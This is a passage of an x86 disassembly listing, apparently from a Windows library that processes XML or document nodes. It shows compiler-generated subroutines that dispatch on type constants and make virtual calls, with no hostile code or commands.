		mov	ecx, [ebp+var_4]
		call	sub_69B728E6
		mov	ecx, eax
		mov	[ebp+arg_8], ecx
		jmp	short loc_69B72A13
sub_69B7298C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B72A73	proc near		; CODE XREF: sub_69B72CD6:loc_69B72D69p

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		xor	eax, eax
		xor	esi, esi
		cmp	ebx, dword_69B9B5F0
		push	edi
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_1], 0
		jnz	short loc_69B72A9E
		push	eax
		push	edi
		push	ecx
		call	sub_69B732C4
		jmp	short loc_69B72B18
; ---------------------------------------------------------------------------


loc_69B72A9E:				; CODE XREF: sub_69B72A73+1Fj
		cmp	ebx, dword_69B9B5D0
		jnz	short loc_69B72AAF
		push	eax
		push	edi
		call	sub_69B70235
		jmp	short loc_69B72B18
; ---------------------------------------------------------------------------


loc_69B72AAF:				; CODE XREF: sub_69B72A73+31j
		cmp	ebx, dword_69B9B5E8
		jnz	short loc_69B72AC1
		push	eax
		push	edi
		push	ecx
		call	sub_69B703F0
		jmp	short loc_69B72B18
; ---------------------------------------------------------------------------


loc_69B72AC1:				; CODE XREF: sub_69B72A73+42j
		cmp	ebx, dword_69B9B5E0
		jnz	short loc_69B72AD2
		push	edi
		push	ecx
		call	sub_69B72933
		jmp	short loc_69B72B18
; ---------------------------------------------------------------------------


loc_69B72AD2:				; CODE XREF: sub_69B72A73+54j
		cmp	ebx, dword_69B9B5D8
		jnz	short loc_69B72AE4
		push	eax
		push	edi
		push	ecx
		call	sub_69B75F5E
		jmp	short loc_69B72B18
; ---------------------------------------------------------------------------


loc_69B72AE4:				; CODE XREF: sub_69B72A73+65j
		cmp	ebx, dword_69B9B5C8
		jnz	short loc_69B72AF0
		push	0FFFFFFFFh
		jmp	short loc_69B72B11
; ---------------------------------------------------------------------------


loc_69B72AF0:				; CODE XREF: sub_69B72A73+77j
		cmp	ebx, dword_69B9B5B8
		jnz	short loc_69B72AFC
		push	0Fh
		jmp	short loc_69B72B11
; ---------------------------------------------------------------------------


loc_69B72AFC:				; CODE XREF: sub_69B72A73+83j
		cmp	ebx, dword_69B9B5C0
		jnz	short loc_69B72B07
		push	eax
		jmp	short loc_69B72B11
; ---------------------------------------------------------------------------


loc_69B72B07:				; CODE XREF: sub_69B72A73+8Fj
		cmp	ebx, dword_69B9B5B0
		jnz	short loc_69B72B25
		push	2


loc_69B72B11:				; CODE XREF: sub_69B72A73+7Bj
					; sub_69B72A73+87j ...
		push	edi
		push	ecx
		call	sub_69B75DBB


loc_69B72B18:				; CODE XREF: sub_69B72A73+29j
					; sub_69B72A73+3Aj ...
		mov	esi, eax
		test	esi, esi
		jnz	loc_69B72C4D
		mov	ecx, [ebp+var_8]


loc_69B72B25:				; CODE XREF: sub_69B72A73+9Aj
		cmp	ebx, dword_69B9B5A0
		jnz	short loc_69B72B38
		push	5
		push	edi
		push	ecx
		call	sub_69B75DBB
		jmp	short loc_69B72B70
; ---------------------------------------------------------------------------


loc_69B72B38:				; CODE XREF: sub_69B72A73+B8j
		cmp	ebx, dword_69B9B598
		jnz	short loc_69B72B48
		push	edi
		call	sub_69B7598A
		jmp	short loc_69B72B70
; ---------------------------------------------------------------------------


loc_69B72B48:				; CODE XREF: sub_69B72A73+CBj
		cmp	ebx, dword_69B9B580
		jnz	short loc_69B72B62
		push	1
		push	edi
		push	ecx
		push	[ebp+arg_0]
		call	sub_69B73499
		mov	[ebp+var_1], 1
		jmp	short loc_69B72B70
; ---------------------------------------------------------------------------


loc_69B72B62:				; CODE XREF: sub_69B72A73+DBj
		cmp	ebx, dword_69B9B560
		jnz	short loc_69B72B89
		push	edi
		call	sub_69B75912


loc_69B72B70:				; CODE XREF: sub_69B72A73+C3j
					; sub_69B72A73+D3j ...
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B72B84
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_69B6EB90
		jmp	loc_69B72C47
; ---------------------------------------------------------------------------


loc_69B72B84:				; CODE XREF: sub_69B72A73+101j
		mov	ecx, [ebp+var_8]
		xor	eax, eax


loc_69B72B89:				; CODE XREF: sub_69B72A73+F5j
		cmp	ebx, dword_69B9B558
		jnz	short loc_69B72BBD
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_69B6EB68
		push	edi
		call	sub_69B73061
		mov	ecx, [ebp+var_8]
		push	eax
		call	sub_69B7287B
		push	[ebp+arg_4]
		mov	ecx, [ebp+var_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_69B7267F
		jmp	loc_69B72C63
; ---------------------------------------------------------------------------


loc_69B72BBD:				; CODE XREF: sub_69B72A73+11Cj
		cmp	ebx, dword_69B9B530
		jnz	short loc_69B72BCF
		push	edi
		call	sub_69B752DA


loc_69B72BCB:				; CODE XREF: sub_69B72A73+16Aj
					; sub_69B72A73+17Aj ...
		mov	esi, eax
		jmp	short loc_69B72C3A
; ---------------------------------------------------------------------------


loc_69B72BCF:				; CODE XREF: sub_69B72A73+150j
		cmp	ebx, dword_69B9B528
		jnz	short loc_69B72BDF
		push	edi
		call	sub_69B75733
		jmp	short loc_69B72BCB
; ---------------------------------------------------------------------------


loc_69B72BDF:				; CODE XREF: sub_69B72A73+162j
		cmp	ebx, dword_69B9B520
		jnz	short loc_69B72BEF
		push	edi
		call	sub_69B755D6
		jmp	short loc_69B72BCB
; ---------------------------------------------------------------------------


loc_69B72BEF:				; CODE XREF: sub_69B72A73+172j
		cmp	ebx, dword_69B9B548
		jnz	short loc_69B72BFB
		push	0Bh
		jmp	short loc_69B72C1D
; ---------------------------------------------------------------------------


loc_69B72BFB:				; CODE XREF: sub_69B72A73+182j
		cmp	ebx, dword_69B9B550
		jnz	short loc_69B72C07
		push	6
		jmp	short loc_69B72C1D
; ---------------------------------------------------------------------------


loc_69B72C07:				; CODE XREF: sub_69B72A73+18Ej
		cmp	ebx, dword_69B9B540
		jnz	short loc_69B72C13
		push	5
		jmp	short loc_69B72C1D
; ---------------------------------------------------------------------------


loc_69B72C13:				; CODE XREF: sub_69B72A73+19Aj
		cmp	ebx, dword_69B9B538
		jnz	short loc_69B72C26
		push	4


loc_69B72C1D:				; CODE XREF: sub_69B72A73+186j
					; sub_69B72A73+192j ...
		push	edi
		push	ecx
		call	sub_69B75DBB
		jmp	short loc_69B72BCB
; ---------------------------------------------------------------------------


loc_69B72C26:				; CODE XREF: sub_69B72A73+1A6j
		push	eax
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE301h
		call	sub_69B6E277


loc_69B72C3A:				; CODE XREF: sub_69B72A73+15Aj
		test	esi, esi
		jz	short loc_69B72C47
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_69B6EB68


loc_69B72C47:				; CODE XREF: sub_69B72A73+10Cj
					; sub_69B72A73+1C9j
		cmp	[ebp+var_1], 0
		jnz	short loc_69B72C56


loc_69B72C4D:				; CODE XREF: sub_69B72A73+A9j
		mov	ecx, [ebp+var_8]
		push	esi
		call	sub_69B7287B


loc_69B72C56:				; CODE XREF: sub_69B72A73+1D8j
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]


loc_69B72C63:				; CODE XREF: sub_69B72A73+145j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B72A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72C6A	proc near		; CODE XREF: sub_69B72CD6+8Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		cmp	eax, dword_69B9B600
		push	esi
		mov	esi, [esp+4+arg_C]
		push	edi
		mov	edi, ecx
		jz	short loc_69B72C9C
		cmp	eax, dword_69B9B5F8
		jz	short loc_69B72C9C
		mov	eax, [esi]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE301h
		call	sub_69B6E277


loc_69B72C9C:				; CODE XREF: sub_69B72C6A+12j
					; sub_69B72C6A+1Aj
		push	1
		push	esi
		push	edi
		call	sub_69B75F5E
		mov	esi, eax
		push	esi
		mov	ecx, edi
		call	sub_69B7287B
		push	[esp+8+arg_4]
		mov	eax, [esi]
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		pop	edi
		pop	esi
		retn	10h
sub_69B72C6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72CC3	proc near		; DATA XREF: .text:69B141D4o
					; .text:69B1431Co ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B7287B
		inc	dword ptr [esi+18h]
		pop	esi
		retn	4
sub_69B72CC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B72CD6	proc near		; CODE XREF: sub_69B72DBF:loc_69B72E0Ep
					; sub_69B72E2D+123p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ecx
		lea	ecx, [ebp+var_C]
		call	sub_69B722A0
		lea	ecx, [ebp+var_C]
		call	sub_69B722B9
		mov	edi, eax
		test	edi, edi
		jz	loc_69B72DB6
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_69B72D01:				; CODE XREF: sub_69B72CD6+D9j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	loc_69B72D91
		mov	ecx, [ebx+68h]
		push	edi
		call	sub_69B4DD27
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		push	dword ptr [eax+10h]
		mov	ecx, ebx
		mov	[ebp+arg_4], eax
		call	sub_69B6EB35
		test	eax, eax
		jz	short loc_69B72D74
		test	byte ptr [esi+24h], 4
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		mov	[ebp+arg_C], eax
		jnz	short loc_69B72D4D
		mov	edx, [esi]
		push	edi
		push	eax
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		call	dword ptr [edx+54h]


loc_69B72D4D:				; CODE XREF: sub_69B72CD6+68j
		mov	eax, [esi+24h]
		test	al, 4
		jz	short loc_69B72D6E
		test	al, 2
		push	edi
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		push	ebx
		jz	short loc_69B72D69
		call	sub_69B72C6A
		jmp	short loc_69B72D6E
; ---------------------------------------------------------------------------


loc_69B72D69:				; CODE XREF: sub_69B72CD6+8Aj
		call	sub_69B72A73


loc_69B72D6E:				; CODE XREF: sub_69B72CD6+7Cj
					; sub_69B72CD6+91j
		and	[ebp+arg_C], 0
		jmp	short loc_69B72D86
; ---------------------------------------------------------------------------


loc_69B72D74:				; CODE XREF: sub_69B72CD6+59j
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		push	ebx
		call	dword ptr [eax+58h]
		mov	[ebp+arg_C], eax


loc_69B72D86:				; CODE XREF: sub_69B72CD6+9Cj
		mov	ecx, [ebx+68h]
		push	edi
		call	sub_69B4DDE6
		jmp	short loc_69B72DA3
; ---------------------------------------------------------------------------


loc_69B72D91:				; CODE XREF: sub_69B72CD6+34j
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		push	ebx
		call	dword ptr [eax+58h]
		mov	[ebp+arg_C], eax


loc_69B72DA3:				; CODE XREF: sub_69B72CD6+B9j
		lea	ecx, [ebp+var_C]
		call	sub_69B722B9
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B72D01
		pop	ebx


loc_69B72DB6:				; CODE XREF: sub_69B72CD6+21j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B72CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B72DBF	proc near		; CODE XREF: sub_69B70438+2Bp
					; DATA XREF: .text:69B141C4o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+24h], 1
		push	edi
		jz	short loc_69B72DD2
		mov	eax, [ebp+arg_4]
		jmp	short loc_69B72DDC
; ---------------------------------------------------------------------------


loc_69B72DD2:				; CODE XREF: sub_69B72DBF+Cj
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B73078


loc_69B72DDC:				; CODE XREF: sub_69B72DBF+11j
		mov	edi, [ebp+arg_0]
		mov	ebx, [esi+0Ch]
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+50h]
		lea	ecx, [edi+70h]
		call	sub_69B704FE
		test	byte ptr [esi+24h], 1
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		push	ebx
		push	edi
		jz	short loc_69B72E0E
		mov	eax, [esi]
		call	dword ptr [eax+58h]
		jmp	short loc_69B72E13
; ---------------------------------------------------------------------------


loc_69B72E0E:				; CODE XREF: sub_69B72DBF+46j
		call	sub_69B72CD6


loc_69B72E13:				; CODE XREF: sub_69B72DBF+4Dj
		lea	ecx, [edi+70h]
		call	sub_69B70774
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+5Ch]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B72DBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B72E2D	proc near		; DATA XREF: .text:69B141E0o
					; .text:69B14328o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+24h], 2
		push	edi
		jz	short loc_69B72E6D
		cmp	dword ptr [ebx+0A8h], 2
		jz	short loc_69B72E6D
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	loc_69B72F6F
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B6FE1A
		jmp	loc_69B72F6F
; ---------------------------------------------------------------------------


loc_69B72E6D:				; CODE XREF: sub_69B72E2D+Fj
					; sub_69B72E2D+18j
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		xor	ecx, ecx
		sub	eax, ecx
		jz	loc_69B72F15
		dec	eax
		jz	short loc_69B72E90
		sub	eax, 4
		jz	short loc_69B72EDA
		dec	eax
		jnz	loc_69B72F6F


loc_69B72E90:				; CODE XREF: sub_69B72E2D+55j
		cmp	[ebp+arg_C], ecx
		jnz	short loc_69B72E9F
		mov	ecx, esi
		call	sub_69B728E6
		mov	[ebp+arg_C], eax


loc_69B72E9F:				; CODE XREF: sub_69B72E2D+66j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+50h]
		mov	ecx, [ebp+arg_C]
		mov	edi, eax
		push	edi
		call	sub_69B754B0
		test	byte ptr [esi+24h], 4
		jnz	loc_69B72F6F
		mov	ecx, edi
		call	sub_69B2EF67
		xor	ecx, ecx
		test	al, al
		setz	cl
		shl	ecx, 2
		xor	ecx, [esi+24h]
		and	ecx, 4
		xor	[esi+24h], ecx
		jmp	loc_69B72F6F
; ---------------------------------------------------------------------------


loc_69B72EDA:				; CODE XREF: sub_69B72E2D+5Aj
		cmp	dword ptr [ebx+0A8h], 2
		jnz	loc_69B72F6F
		cmp	[ebp+arg_C], ecx
		jnz	short loc_69B72EF6
		mov	ecx, esi
		call	sub_69B728E6
		mov	[ebp+arg_C], eax


loc_69B72EF6:				; CODE XREF: sub_69B72E2D+BDj
		mov	ecx, [ebp+arg_C]
		push	edi
		call	sub_69B75495
		mov	eax, [edi]
		push	1
		push	0
		mov	ecx, edi
		call	dword ptr [eax+4Ch]


loc_69B72F0A:				; CODE XREF: sub_69B72E2D+10Dj
		mov	ecx, [ebp+arg_C]
		push	eax
		call	sub_69B754B0
		jmp	short loc_69B72F66
; ---------------------------------------------------------------------------


loc_69B72F15:				; CODE XREF: sub_69B72E2D+4Ej
		or	dword ptr [esi+24h], 4
		cmp	[ebp+arg_C], ecx
		jnz	short loc_69B72F28
		mov	ecx, esi
		call	sub_69B728E6
		mov	[ebp+arg_C], eax


loc_69B72F28:				; CODE XREF: sub_69B72E2D+EFj
		mov	ecx, [ebp+arg_C]
		push	edi
		call	sub_69B75495
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+50h]
		test	eax, eax
		jnz	short loc_69B72F0A
		push	[ebp+arg_C]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B7298C
		push	eax
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B72CD6
		test	eax, eax
		mov	[ebp+arg_C], eax
		jnz	short loc_69B72F66
		mov	ecx, esi
		call	sub_69B728E6
		mov	[ebp+arg_C], eax


loc_69B72F66:				; CODE XREF: sub_69B72E2D+E6j
					; sub_69B72E2D+12Dj
		mov	ecx, [ebp+arg_C]
		push	edi
		call	sub_69B754CF


loc_69B72F6F:				; CODE XREF: sub_69B72E2D+26j
					; sub_69B72E2D+3Bj ...
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B72E2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72F79	proc near		; CODE XREF: sub_69B72FBE+14p
					; sub_69B732F4+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		mov	[esi+0Ch], edi
		jz	short loc_69B72FB3
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0D4h]
		mov	ecx, edi
		xor	eax, [esi+10h]
		and	eax, 1
		xor	[esi+10h], eax
		mov	eax, [edi]
		call	dword ptr [eax+0D8h]
		movzx	eax, al
		shl	eax, 1
		xor	eax, [esi+10h]
		and	eax, 2
		xor	[esi+10h], eax


loc_69B72FB3:				; CODE XREF: sub_69B72F79+Dj
		pop	edi
		pop	esi
		retn	4
sub_69B72F79	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72FB8	proc near		; DATA XREF: .text:69B14114o
					; .text:69B1625Co ...
		mov	eax, offset off_69B2A4F4
		retn
sub_69B72FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72FBE	proc near		; CODE XREF: sub_69B752DA-5F0AFp
					; sub_69B75733-5F448p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B18654
		push	[esp+4+arg_0]
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B140F8
		call	sub_69B72F79
		mov	eax, esi
		pop	esi
		retn	4
sub_69B72FBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72FDD	proc near		; CODE XREF: sub_69B7251E+27j
					; sub_69B756D0+11j
					; DATA XREF: ...
		and	dword ptr [ecx+0Ch], 0
		jmp	nullsub_5
sub_69B72FDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72FE6	proc near		; CODE XREF: sub_69B7013A+4p
					; sub_69B7254A+4p
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+0Ch]
		mov	[eax+0Ch], ecx
		pop	esi
		retn
sub_69B72FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B72FFD	proc near		; CODE XREF: sub_69B7521B+B3p
					; sub_69B756E6+44p ...

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		call	dword ptr [eax+68h]
		jmp	short loc_69B7303F
; ---------------------------------------------------------------------------


loc_69B73013:				; CODE XREF: sub_69B72FFD+46j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	eax, 1
		jz	short loc_69B73033
		cmp	eax, 6
		jz	short loc_69B73033
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B6FE1A


loc_69B73033:				; CODE XREF: sub_69B72FFD+20j
					; sub_69B72FFD+25j
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		lea	edx, [ebp+var_4]
		push	edx
		call	dword ptr [eax+6Ch]


loc_69B7303F:				; CODE XREF: sub_69B72FFD+14j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B73013
		pop	edi
		pop	esi
		leave
		retn
sub_69B72FFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73049	proc near		; DATA XREF: .text:69B2A4F8o
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7305E
		push	0
		mov	ecx, eax
		call	sub_69B70050
		retn
; ---------------------------------------------------------------------------


loc_69B7305E:				; CODE XREF: sub_69B73049+9j
		xor	eax, eax
		retn
sub_69B73049	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73061	proc near		; CODE XREF: sub_69B72A73+128p
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B73073
		mov	ecx, eax
		jmp	sub_69B72FBE
; ---------------------------------------------------------------------------


loc_69B73073:				; CODE XREF: sub_69B73061+9j
		xor	eax, eax
		retn	4
sub_69B73061	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73078	proc near		; CODE XREF: sub_69B70438+Fp
					; sub_69B71C1C+Fp ...

arg_0		= dword	ptr  4

		mov	ecx, [ecx+0Ch]
		push	dword_69B9B4D8
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		test	eax, eax
		jnz	short locret_69B73091
		mov	eax, [esp+arg_0]

locret_69B73091:			; CODE XREF: sub_69B73078+13j
		retn	4
sub_69B73078	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73094	proc near		; CODE XREF: sub_69B702BB+3Bp
					; sub_69B71B94+56p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+2Ch]
		test	edi, edi
		jz	short loc_69B730E4
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		test	al, al
		jz	short loc_69B730B9
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		jmp	short loc_69B730D1
; ---------------------------------------------------------------------------


loc_69B730B9:				; CODE XREF: sub_69B73094+12j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+84h]
		test	al, al
		jz	short loc_69B730D3
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+7Ch]


loc_69B730D1:				; CODE XREF: sub_69B73094+23j
		mov	edi, eax


loc_69B730D3:				; CODE XREF: sub_69B73094+31j
		mov	eax, [edi]
		push	1
		push	[esp+0Ch+arg_4]
		mov	ecx, edi
		push	[esp+10h+arg_0]
		call	dword ptr [eax+48h]


loc_69B730E4:				; CODE XREF: sub_69B73094+9j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B73094	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B730EB	proc near		; DATA XREF: .text:69B21D1Co
					; .text:69B21D9Co ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7251E
sub_69B730EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B73101	proc near		; CODE XREF: sub_69B70336+1Bp
					; DATA XREF: .text:69B21E4Co

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_69B9B590
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], edi
		jnz	loc_69B73220
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_69B6EB90
		mov	eax, [esi]
		mov	edi, [edi+0Ch]
		mov	ecx, esi
		call	dword ptr [eax+64h]
		xor	ebx, ebx
		cmp	edi, eax
		jz	short loc_69B7314E
		mov	eax, [esi]
		push	ebx
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE301h
		call	sub_69B6E277


loc_69B7314E:				; CODE XREF: sub_69B73101+37j
		push	esi
		call	sub_69B6FED3
		mov	edi, [ebp+arg_0]
		add	edi, 70h
		mov	ecx, edi
		call	sub_69B70774
		mov	ecx, [ebp+arg_0]
		push	8
		push	dword_69B9B508
		push	esi
		call	sub_69B6EA8E
		mov	ecx, edi
		mov	[ebp+var_18], eax
		call	sub_69B704FE
		cmp	[ebp+var_18], ebx
		jnz	short loc_69B73196
		push	ebx
		push	ebx
		call	sub_69B67D20
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_18], ecx


loc_69B73196:				; CODE XREF: sub_69B73101+7Ej
		push	dword_69B9B4B0
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+var_14], bl
		mov	[ebp+var_C], ebx
		call	dword ptr [eax+0A8h]
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_69B731CB
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_69B6EB1C
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_69B731CB
		push	edi
		call	sub_69B6FF03
		mov	[ebp+var_14], al


loc_69B731CB:				; CODE XREF: sub_69B73101+AFj
					; sub_69B73101+BFj
		push	dword_69B9B4A8
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+var_10], 5
		mov	[ebp+var_8], ebx
		call	dword ptr [eax+0A8h]
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B73204
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_69B6EB1C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B73204
		push	esi
		call	sub_69B6FFC1
		mov	[ebp+var_10], eax


loc_69B73204:				; CODE XREF: sub_69B73101+E8j
					; sub_69B73101+F8j
		mov	esi, [ebp+var_4]
		add	esi, 2Ch
		mov	ecx, [esi]
		mov	eax, [ecx]
		lea	edx, [ebp+var_18]
		push	edx
		call	dword ptr [eax+78h]
		push	eax
		push	esi
		call	sub_69B17320
		pop	esi
		pop	ebx
		jmp	short loc_69B73224
; ---------------------------------------------------------------------------


loc_69B73220:				; CODE XREF: sub_69B73101+15j
		or	dword ptr [edi+24h], 4


loc_69B73224:				; CODE XREF: sub_69B73101+11Dj
		pop	edi
		leave
		retn	10h
sub_69B73101	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73229	proc near		; DATA XREF: .text:69B21E30o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, ecx
		jnz	short loc_69B73250
		mov	eax, [esi+28h]
		push	dword ptr [eax+18h]
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B73094
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_69B72316


loc_69B73250:				; CODE XREF: sub_69B73229+Dj
		push	0
		push	1
		push	0
		mov	ecx, esi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B73269
		push	esi
		mov	ecx, edi
		call	sub_69B725AD


loc_69B73269:				; CODE XREF: sub_69B73229+36j
		pop	edi
		pop	esi
		retn	8
sub_69B73229	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7326E	proc near		; CODE XREF: sub_69B70438:loc_69B7047Ep
					; DATA XREF: .text:69B21D38o ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		lea	esi, [ecx+2Ch]
		mov	eax, [esi]
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, [ecx+0Ch]
		jnz	short loc_69B732AC
		mov	ecx, [esp+0Ch+arg_0]
		push	4
		push	dword_69B9B508
		push	edi
		call	sub_69B6F425
		cmp	eax, ebx
		jnz	short loc_69B732AC
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_69B685B5
		lea	ecx, [eax+10h]
		neg	eax
